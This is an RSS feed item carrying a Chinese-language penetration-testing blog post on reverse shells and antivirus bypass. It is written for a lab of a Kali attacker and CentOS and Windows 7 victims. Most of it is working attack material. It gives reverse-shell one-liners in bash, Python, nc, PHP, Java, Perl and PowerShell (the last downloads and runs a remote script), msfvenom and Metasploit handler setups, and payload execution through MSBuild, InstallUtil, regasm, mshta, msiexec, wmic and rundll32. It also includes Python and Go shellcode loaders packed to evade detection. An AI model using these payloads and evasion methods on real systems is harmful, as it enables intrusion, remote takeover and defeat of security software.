<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>反向shell &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E5%8F%8D%E5%90%91shell/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sun, 28 Jul 2019 08:33:51 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>渗透测试中弹shell的多种方式及bypass</title>
		<link>/tools/677.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 28 Jul 2019 08:33:51 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[反向shell]]></category>
		<guid isPermaLink="false">/?p=677</guid>

					<description><![CDATA[文章首发先知，欢迎移步 https://xz.aliyun.com/t/5768 在我们渗透测试的过程中，最常用的就是基于tcp/udp协议反弹一个shell，也就是反向连接。 我...]]></description>
										<content:encoded><![CDATA[<blockquote><p>
  文章首发先知，欢迎移步 https://xz.aliyun.com/t/5768
</p></blockquote>
<p>在我们渗透测试的过程中，最常用的就是基于tcp/udp协议反弹一个<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>，也就是反向连接。</p>
<p>我们先来讲一下什么是正向连接和反向连接。</p>
<ul>
<li>正向连接：我们本机去连接目标机器，比如ssh和mstsc</li>
<li>反向连接：目标机器去连接我们本机</li>
</ul>
<p>那么为什么反向连接会比较常用呢</p>
<ol>
<li>目标机器处在局域网内，我们正向连不上他</li>
<li>目标机器是动态ip</li>
<li>目标机器存在防火墙</li>
</ol>
<p>然后说一下我的实验环境</p>
<p>虚拟机采用nat模式</p>
<p>攻击机：Kali Linux ：172.16.1.130</p>
<p>受害机：Centos 7 ：172.16.1.134</p>
<h1>常见姿势</h1>
<h2>bash</h2>
<p>bash也是最常见的一种方式</p>
<p>Kali监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>centos运行</p>
<pre><code class="language-bash ">bash -i &gt;&amp; /dev/tcp/172.16.1.130/4444 0&gt;&amp;1
</code></pre>
<p>当然你还可以这样</p>
<pre><code class="language-bash ">exec 5&lt;&gt;/dev/tcp/172.16.1.130/4444;cat &lt;&amp;5|while read line;do $line &gt;&amp;5 2&gt;&amp;1;done
</code></pre>
<p>这两个都是bash根据Linux万物皆文件的思想衍生过来的，具体更多bash的玩法你可以参考</p>
<p>https://xz.aliyun.com/t/2549</p>
<h2>python</h2>
<p>攻击机Kali还是监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>centos执行</p>
<pre><code class="language-python ">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
</code></pre>
<p>这个payload是反向连接并且只支持Linux，Windows可以参考离别歌师傅的 <a href="https://www.leavesongs.com/PYTHON/python-shell-backdoor.html">python windows正向连接后门</a></p>
<h2>nc</h2>
<p>如果目标机器上有nc并且存在<code>-e</code>参数，那么可以建立一个<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%90%91shell" title="反向shell" target="_blank">反向shell</a></span></p>
<p>攻击机监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>目标机器执行</p>
<pre><code class="language-bash ">nc 172.16.1.130 4444 -t -e /bin/bash
</code></pre>
<p>这样会把目标机的<code>/bin/bash</code>反弹给攻击机</p>
<p>但是很多Linux的nc很多都是阉割版的，如果目标机器没有nc或者没有-e选项的话，不建议使用nc的方式</p>
<h2>php</h2>
<p>攻击机监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>要求目标机器有php然后执行</p>
<pre><code class="language-php ">php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'
</code></pre>
<p>或者你直接在web目录写入一个php文件，然后浏览器去访问他就行了，这有一个<a href="https://my.oschina.net/chinahermit/blog/144035">Linux和Windows两用的脚本</a></p>
<h2>Java 脚本反弹</h2>
<pre><code class="language-java ">r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/172.16.1.130/4444;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
p.waitFor()
</code></pre>
<h2>perl 脚本反弹</h2>
<pre><code class="language-perl ">perl -e 'use Socket;$i="172.16.1.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'
</code></pre>
<h2>powershell</h2>
<p>目标机器执行</p>
<pre><code class="language-powershell ">powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444
</code></pre>
<h2>msfvenom 获取反弹一句话</h2>
<p>msf支持多种反弹方式，比如exe ps php asp aspx甚至是ruby等，我们可以用msfvenom来生成payload，然后在msf中监听，执行之后就会反弹回来session</p>
<p>生成payload的方法参考<a href="http://www.myh0st.cn/index.php/archives/67/">生成msf常用payload</a>，不再赘述</p>
<p>然后msf监听</p>
<pre><code class="language-bash ">msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
exploit -j -z
</code></pre>
<hr />
<p>那么讲到这里我们把一句话反弹shell的方式讲的差不多了，但是到这里我们又涉及到了一个免杀的问题。</p>
<p>我们首先需要知道的是目前的反病毒软件查杀，常见的有三种：</p>
<ol>
<li>基于文件特征</li>
<li>基于文件行为</li>
<li>基于云查杀 实际也是基于特征数据库的查杀</li>
</ol>
<p>到目前为止，我所知道的免杀姿势有以下几种</p>
<ol>
<li>Windows白名单 俗称白加黑 也就是用带有微软签名的软件来运行我们自己的shellcode</li>
<li>payload分离免杀 比如shellcode loader</li>
<li>换一门偏僻的语言来自己写反弹shell</li>
</ol>
<p>而接下来的几种只适用于Windows。</p>
<p>攻击机：Kali Linux ：172.16.1.130</p>
<p>受害机：Win 7 ：172.16.1.135</p>
<h1>Windows白加黑</h1>
<p>白加黑需要的payload可以使用<a href="https://y4er.com/post/download-shell/">一句话下载姿势总结</a> 把payload下载到目标机器，这里不再赘述。</p>
<h2>MSBuild</h2>
<blockquote><p>
  MSBuild是Microsoft Build Engine的缩写，代表Microsoft和Visual Studio的新的生成平台</p>
<p>  MSBuild可在未安装Visual Studio的环境中编译.net的工程文件</p>
<p>  MSBuild可编译特定格式的xml文件</p>
<p>  更多基本知识可参照以下链接：</p>
<p>  https://msdn.microsoft.com/en-us/library/dd393574.aspx
</p></blockquote>
<p>意思就是msbuild可以编译执行csharp代码。</p>
<p>在这里我们需要知道的是msbuild的路径</p>
<p>加载32位的shellcode需要用32位的msbuild</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
</code></pre>
<p>加载64位的shellcode需要用64位的msbuild</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
</code></pre>
<p>我们这里用64位的shellcode和64位的win7来操作。</p>
<pre><code class="language-bash ">msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
</code></pre>
<p>生成shellcode之后我们需要用到一个三好学生师傅的https://github.com/3gstudent/msbuild-inline-task</p>
<p>我们用的是<code>executes x64 shellcode.xml</code>的模板，把里面45行之后的改为自己的shellcode</p>
<p>然后msf监听</p>
<pre><code class="language-bash ">msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j
</code></pre>
<p>在目标机器上运行</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework64\v4.0.30319&gt;MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"
</code></pre>
<p>然后会话上线，某数字卫士无反应，并且正常执行命令</p>
<p><img src="https://y4er.com/img/uploads/20190719154312.png" alt="360数字卫士" /></p>
<p>更多关于msbuild的内容可以参考<a href="https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/">三好学生师傅的文章</a></p>
<h2>Installutil.exe&amp;csc.exe</h2>
<blockquote><p>
  Installer工具是一个命令行实用程序，允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。</p>
<p>  具体参考：<a href="https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120)">Windows Installer部署</a>
</p></blockquote>
<p>通过msfvenom生成C＃的shellcode</p>
<pre><code class="language-powershell ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
</code></pre>
<p>下载InstallUtil-Shellcode.cs，将上面生成的shellcode复制到该cs文件中</p>
<p>https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260</p>
<p>csc编译InstallUtil-ShellCode.cs</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs
</code></pre>
<p>编译生成的文件后缀名无所谓exe dll txt都可以，但只能InstallUtil.exe来触发</p>
<p>InstallUtil.exe执行 反弹shell</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe
</code></pre>
<p>参考https://www.blackhillsinfosec.com/how-to-<span class="wpcom_tag_link"><a href="/tags/bypass" title="bypass" target="_blank">bypass</a></span>-application-whitelisting-av/</p>
<h2>regasm和regsvcs</h2>
<p>regasm和regsvcs都可以用来反弹shell的，而且方式也一样</p>
<p><a href="https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution/blob/master/regsvcs.cs">下载这个cs文件</a> ，然后替换你的shellcode</p>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
</code></pre>
<p>使用sn.exe生成公钥和私钥，如果没有sn命令你可能需要安装vs</p>
<pre><code class="language-bash ">sn -k key.snk
</code></pre>
<p>编译dll，注意文件的路径</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
</code></pre>
<p>用这两者上线</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll
</code></pre>
<p>或者这样</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll
</code></pre>
<p>上线成功。</p>
<h2>mshta</h2>
<p>mshta是在环境变量里的</p>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f raw &gt; shellcode.bin
</code></pre>
<pre><code class="language-bash ">cat shellcode.bin |base64 ‐w 0
</code></pre>
<p>然后替换这个文件中的shellcode</p>
<p>https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta</p>
<p>替换<code>' ---------- DO NOT EDIT BELOW HERE -----------</code>上面引号包起来的base64，可以将hta托管出来。</p>
<pre><code class="language-bash ">mshta.exe http://baidu.com/shellcode.hta
</code></pre>
<p>在cobalt strike中mshta也是一个很方便的上线功能。</p>
<h2>Msiexec简介：</h2>
<p>Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包（MSI）,一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于 Windows 2003，Windows 7 等。</p>
<p>Msiexec已经被添加到环境变量了。</p>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f msi &gt; shellcode.txt
</code></pre>
<p>目标机执行</p>
<pre><code class="language-bash ">msiexec.exe /q /i http://172.16.1.130/shellcode.txt
</code></pre>
<h2>wmic</h2>
<p>已经被添加到环境变量</p>
<p>poc</p>
<pre><code class="language-bash ">wmic os get /FORMAT:"http://example.com/evil.xsl"
</code></pre>
<pre data-language=XML><code class="language-markup ">&lt;?xml version='1.0'?&gt;
&lt;stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0"&gt;
&lt;output method="text"/&gt;
    &lt;ms:script implements-prefix="user" language="JScript"&gt;
    &lt;![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]&gt; &lt;/ms:script&gt;
&lt;/stylesheet&gt;
</code></pre>
<p>参考:<a href="https://3gstudent.github.io/利用wmic调用xsl文件的分析与利用/">利用wmic调用xsl文件的分析与利用</a><br />
这里还有一个poc https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl</p>
<h2>rundll32</h2>
<p>Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。已经加入环境变量。</p>
<pre><code class="language-bash ">rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
</code></pre>
<p>也可以去执行msf生成的dll</p>
<pre><code class="language-bash ">rundll32.exe shell32.dll,Control_RunDLL c:\Users\Y4er\Desktop\1.dll
</code></pre>
<hr />
<p>在这我们先简单介绍这几种，还有<code>compiler.exe</code> <code>odbcconf</code> <code>psexec</code> <code>ftp.exe</code>等等。在这里给出参考连接</p>
<p>micro8前辈 https://micro8.gitbook.io/micro8/contents-1#71-80-ke</p>
<h1>payload分离免杀</h1>
<p>在这里也只介绍两种分离免杀的姿势</p>
<h2>shellcode loader</h2>
<p>借助第三方加载器，将shellcode加载到内存中来执行。</p>
<p>https://github.com/clinicallyinane/shellcode_launcher</p>
<pre><code class="language-bash ">msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw &gt; test.c
</code></pre>
<p>靶机执行</p>
<pre><code class="language-bash ">shellcode_launcher.exe -i test.c
</code></pre>
<p>msf监听正常上线</p>
<h2>csc和InstallUtil</h2>
<p>不再赘述，参考上文白加黑</p>
<h1>偏僻语言</h1>
<p>实际上也不能说偏僻语言，原理是让杀软不识别文件的pe头。我们在这说两种</p>
<h2>pyinstaller</h2>
<p>py版的shellcode模板</p>
<pre><code class="language-python ">#! /usr/bin/env python
# encoding:utf-8

import ctypes

def execute():
    # Bind shell
    shellcode = bytearray(
    "\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
        ...
    "\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
    "\x13"
     )

    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
    buf,
    ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_int(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
    ctypes.c_int(-1))
if __name__ == "__main__":
    execute()
</code></pre>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=172.16.1.130 -e x86/shikata_ga_nai -i 5 -f py -o  1.py
</code></pre>
<p>使用pyinstaller打包</p>
<pre><code class="language-bash ">pyinstaller.py -F --console 1.py
</code></pre>
<p>和pyinstaller类似的还有py2exe，不再赘述。</p>
<h2>go+upx</h2>
<pre><code class="language-go ">package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
    ...省略...
    buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&amp;shellcode[0])))
}
</code></pre>
<p>如果正常编译体积会很大，建议使用<code>go build -ldflags="-s -w"</code>参数来编译生成exe，你也可以<code>go build -ldflags="-H windowsgui -s -w"</code>去掉命令窗口</p>
<p>编译出来900多kb，在使用upx压缩一下会降低到200kb左右，也能正常上线。</p>
<h1>写在文后</h1>
<p>本文所讲到的很多姿势实际上是用来bypass applocker，不过也能弹回来会话。</p>
<p>实战环境复杂，更多情况下请自行判断该使用什么姿势，实际上有时候你折腾半天不上线还不如直接一个bash反弹回来方便。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
